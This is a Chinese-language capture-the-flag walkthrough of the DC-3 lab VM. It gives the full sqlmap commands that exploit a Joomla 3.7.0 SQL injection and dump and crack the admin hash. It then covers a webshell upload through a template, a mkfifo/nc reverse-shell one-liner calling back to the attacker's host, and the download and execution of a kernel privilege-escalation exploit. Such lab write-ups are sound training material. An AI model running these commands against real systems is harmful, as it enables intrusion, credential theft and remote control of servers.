一:环境准备
下载:点我 下载之后完成安装,过程详情请参考,063 渗透测试实战,靶机 DC-1
打开DC-3
?
二:Kali nmap扫描
打开Kali: 在/root/tmp目录下创建一个DC-3的文件夹 然后nmap -sP 192.168.100.0/24 -oN nmap.sP 扫描内网主机。
确定主机之后,再扫描端口号,nmap -A 192.168.100.2 -p 1-65535 -oN nmap.A 发现只开放了80端口 浏览器访问下,
?
三:对该网址进行指纹识别
whatweb http://192.168.100.2
发现是joomla!
维基百科的解释: Joomla!是一套自由、开放源代码的内容管理系统,以PHP撰写,用于发布内容在万维网与内部网,通常被用来搭建商业网站、个人博客、信息管理系统、Web 服务等,还可以进行二次开发以扩展使用范围。其功能包含可提高性能的页面缓存、RSS馈送、页面的可打印版本、新闻摘要、博客、投票、网站搜索、与语言国际化。Joomla!是一套自由的开源软件,使用GPL许可,任何人随时都能下载 Joomla! 并立即使用它。
利用一款扫描工具:joomscan 先安装
sudo apt update
apt install joomscan
扫描命令:joomscan --url http://192.168.100.2 得到版本是3.7
?
四:利用脚本搜索有无漏洞
searchsploit joomla 3.7.0 发现存在一个sql注入漏洞。
把漏洞文件复制到当前目录下: cp /usr/share/exploitdb/exploits/php/webapps/42033.txt joomla_v370_sqli.txt 然后查看这个txt文件,得知可以使用sqlmap工具 把上述的命令,复制并修改http地址。 sqlmap -u "http://192.168.100.2/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] 一直回车就行。 上述命令中,参数--dbs 是列出当前的服务器中有哪些库名。运行结果如下: 说明这个几个库存在sql注入漏洞。
获取当前数据库的名字,(参数:--current-db ) sqlmap -u "http://192.168.100.2/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering] 得到当前数据库的名字为:joomladb
获取当前数据库joomladb有哪些表,(参数:-D "joomladb" --tables ) sqlmap -u "http://192.168.100.2/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering] 找到users表,查看表中有哪些字段,(参数:-D "joomladb" -T "#__users" --columns ) sqlmap -u "http://192.168.100.2/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering] 按y选择路径,选择1,设置10线程 这样就得到了users表中的字段内容。 从users表中,我们对name和password感兴趣。。 所以,(参数:-D "joomladb" -T "#__users" -C "name,password" --dump ) sqlmap -u "http://192.168.100.2/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering] 这样就得到了一个加密的密文。 $2y
10
10
10DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu 创建一个文件保存它 解密密文:john joomla_v370_admin_hash.txt 得到密码:snoopy
?
五:浏览器登录后台页面
由上面的扫描命令:joomscan --url http://192.168.100.2 得到登录网站后台地址http://192.168.100.2/administrator/ 浏览器登录。admin/snoopy 点击红框内容, 红框的内容谷歌翻译下 得知这次DC-3的实战只有一个目标,那就是获得root权限。 而获取root权限,我们一般可以通过上传大小马进而提权
进入如下目录: 发现有个Beez3 Details and Files,点进去,发现可以创建文件,这时候我们就可以考虑上传木马了。
?
六:上传木马
要上传木马,就得知道当前文件所在目录, 鉴于对网站的常识理解,模板目录一般放在根目录下的templates目录,浏览器访问下,发现页面是空白的,如下图 这说明什么?说明这个目录存在,因为没有报404之类的错误。 同理,我们输入beez3 说明beez3目录也是存在的。 又因为有个html目录, 同样进行尝试,成功的显示了html的内容。 这样我们就找到了文件路径了
在html目录下新建文件yjh: 编辑、保存文件
?
七:建立反弹shell
开启第三台虚拟机win10, 使用蚁剑连接http://192.168.100.2/templates/beez3/html/yjh.php
连接成功。
? 反弹shell:
Kali开启监听 nc -lvvp 2333 在蚁剑上:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.100.7 2333 >/tmp/f 回到kali上,查看是否开启成功 反弹成功。
?
八:提权
通过whoami 查看权限,发现不是root,则需要提权 既然要提权,那就需要了解当前系统的版本等一系列信息。 通过命令hostnamectl 查看信息
hostnamectl:用于查询和更改系统主机名。 还可以显示Linux发行版和内核版本
发现版本号是ubuntu 16.04
查找Ubuntu 16.04版本的漏洞 searchsploit Ubuntu 16.04 复制文件到本地,
cd /root/tmp/DC-3
cp /usr/share/exploitdb/exploits/linux/local/39772.txt ubuntu1604.txt
打开这个文件,cat ubuntu1604.txt 可以看到关于漏洞说明的具体内容。
这个文件的末尾提到,可以去这个地址下载exploit https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip 有访问不了github的小伙伴,我这里给了个自己的坚果云(百度盘太慢了,真特么垃圾,所以没用了)的分享,点我下载 (访问密码:52d0DZ)
下载之后,放进虚拟机中,我们直接访问本地服务器下载文件。 我这里是用win10的虚拟机(IP:192.168.100.6)当服务器 下载到靶机上,
步骤:
wget http://192.168.100.6/39772.zip
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
提权成功,获取flag
|